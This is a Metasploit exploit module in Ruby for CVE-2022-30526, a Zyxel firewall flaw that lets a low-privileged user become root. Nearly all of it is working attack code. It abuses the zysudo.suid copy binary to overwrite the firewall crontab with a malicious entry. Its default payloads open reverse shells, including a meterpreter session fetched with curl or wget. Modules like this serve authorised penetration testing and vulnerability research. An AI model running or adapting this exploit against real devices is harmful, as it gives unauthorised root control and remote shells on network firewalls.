165 lines
6.2 KiB
Ruby
165 lines
6.2 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Post::File
|
|
include Msf::Exploit::CmdStager
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Zyxel Firewall SUID Binary Privilege Escalation',
|
|
'Description' => %q{
|
|
This module exploits CVE-2022-30526, a local privilege escalation vulnerability that
|
|
allows a low privileged user (e.g. nobody) escalate to root. The issue stems from
|
|
a suid binary that allows all users to copy files as root. This module overwrites
|
|
the firewall's crontab to execute an attacker provided script, resulting in code
|
|
execution as root.
|
|
|
|
In order to use this module, the attacker must first establish shell access. For
|
|
example, by exploiting CVE-2022-30525.
|
|
|
|
Known affected Zyxel models are: USG FLEX (50, 50W, 100W, 200, 500, 700),
|
|
ATP (100, 200, 500, 700, 800), VPN (50, 100, 300, 1000), USG20-VPN and USG20W-VPN.
|
|
},
|
|
'References' => [
|
|
['CVE', '2022-30526'],
|
|
['URL', 'https://www.zyxel.com/support/Zyxel-security-advisory-authenticated-directory-traversal-vulnerabilities-of-firewalls.shtml']
|
|
],
|
|
'Author' => [
|
|
'jbaines-r7' # discovery and metasploit module
|
|
],
|
|
'DisclosureDate' => '2022-06-14',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['linux', 'unix'],
|
|
'Arch' => [ARCH_CMD, ARCH_MIPS64],
|
|
'SessionTypes' => ['shell', 'meterpreter'],
|
|
'Targets' => [
|
|
[
|
|
'Unix Command',
|
|
{
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :unix_cmd,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/unix/reverse_bash'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Linux Dropper',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_MIPS64],
|
|
'Type' => :linux_dropper,
|
|
'CmdStagerFlavor' => [ 'curl', 'wget' ],
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'linux/mips64/meterpreter_reverse_tcp'
|
|
}
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => {
|
|
'MeterpreterTryToFork' => true,
|
|
'WfsDelay' => 70
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
end
|
|
|
|
# The check first establishes the system is a Zyxel firewall by parsing the
|
|
# /zyinit/fwversion file. Then it attempts to prove that zysudo.suid can be
|
|
# used by the user to write to otherwise unwrittable location.
|
|
def check
|
|
fwversion_data = read_file('/zyinit/fwversion')
|
|
if fwversion_data.nil? || fwversion_data.empty?
|
|
return CheckCode::Safe('Could not read /zyinit/fwversion. The target is not a Zyxel firewall.')
|
|
end
|
|
|
|
model_id = fwversion_data[/MODEL_ID=(?<model_id>[^\n]+)/, :model_id]
|
|
return CheckCode::Unknown('Failed to identify the firewall model.') if model_id.nil? || model_id.empty?
|
|
|
|
firmware_ver = fwversion_data[/FIRMWARE_VER=(?<firmware_ver>[^\n]+)/, :firmware_ver]
|
|
return CheckCode::Unknown('Failed to identify the firmware version.') if firmware_ver.nil? || firmware_ver.empty?
|
|
|
|
test_file = "/var/zyxel/#{rand_text_alphanumeric(12..16)}"
|
|
unless cmd_exec("/bin/cp /etc/passwd #{test_file}") == "/bin/cp: cannot create regular file '#{test_file}': Permission denied"
|
|
return CheckCode::Unknown("Failed to generate a permission issue. System version: #{model_id}, #{firmware_ver}")
|
|
end
|
|
|
|
suid_copy_result = cmd_exec("zysudo.suid /bin/cp /etc/passwd #{test_file}")
|
|
unless suid_copy_result.empty?
|
|
return CheckCode::Safe("zysudo.suid copy failed. System version: #{model_id}, #{firmware_ver}")
|
|
end
|
|
|
|
# clean up the created file
|
|
cmd_exec("zysudo.suid /bin/rm #{test_file}")
|
|
|
|
return CheckCode::Vulnerable("System version: #{model_id}, #{firmware_ver}")
|
|
end
|
|
|
|
# no matter what happens, try to reset the crontab to the original state and
|
|
# delete the backup file.
|
|
def cleanup
|
|
unless @crontab_backup.nil?
|
|
print_status('Resetting crontab to the original version')
|
|
cmd_exec("zysudo.suid /bin/cp #{@crontab_backup} /var/zyxel/crontab")
|
|
rm_rf(@crontab_backup)
|
|
end
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
# this file will contain the payload and get executed by cron
|
|
exec_filename = "/tmp/#{rand_text_alphanumeric(6..12)}"
|
|
register_file_for_cleanup(exec_filename)
|
|
cmd_exec("echo -e \"#!/bin/bash\\n\\n#{cmd}\" > #{exec_filename}")
|
|
cmd_exec("chmod +x #{exec_filename}")
|
|
|
|
# this file will be a copy of the original crontab, plus our additional malicious entry
|
|
evil_crontab = "/tmp/#{rand_text_alphanumeric(6..12)}"
|
|
register_file_for_cleanup(evil_crontab)
|
|
copy_file('/var/zyxel/crontab', evil_crontab)
|
|
cmd_exec("echo '* * * * * root #{exec_filename} &' >> #{evil_crontab}")
|
|
|
|
# this is the backup copy of the original crontab. It'll be restored on new session
|
|
@crontab_backup = "/tmp/#{rand_text_alphanumeric(6..12)}"
|
|
copy_file('/var/zyxel/crontab', @crontab_backup)
|
|
|
|
# overwrite the legitimate crontab. this is how we get exectuion.
|
|
print_status('Overwriting /var/zyxel/crontab')
|
|
cmd_exec("zysudo.suid /bin/cp #{evil_crontab} /var/zyxel/crontab")
|
|
|
|
# check if the session has been created. Give it 70 seconds to come in.
|
|
# The extra 10 seconds is to account for high latency links.
|
|
print_status('The payload may take up to 60 seconds to be executed by cron')
|
|
sleep_count = 70
|
|
until session_created? || sleep_count == 0
|
|
sleep(1)
|
|
sleep_count -= 1
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
|
case target['Type']
|
|
when :unix_cmd
|
|
execute_command(payload.encoded)
|
|
when :linux_dropper
|
|
execute_cmdstager
|
|
end
|
|
end
|
|
end
|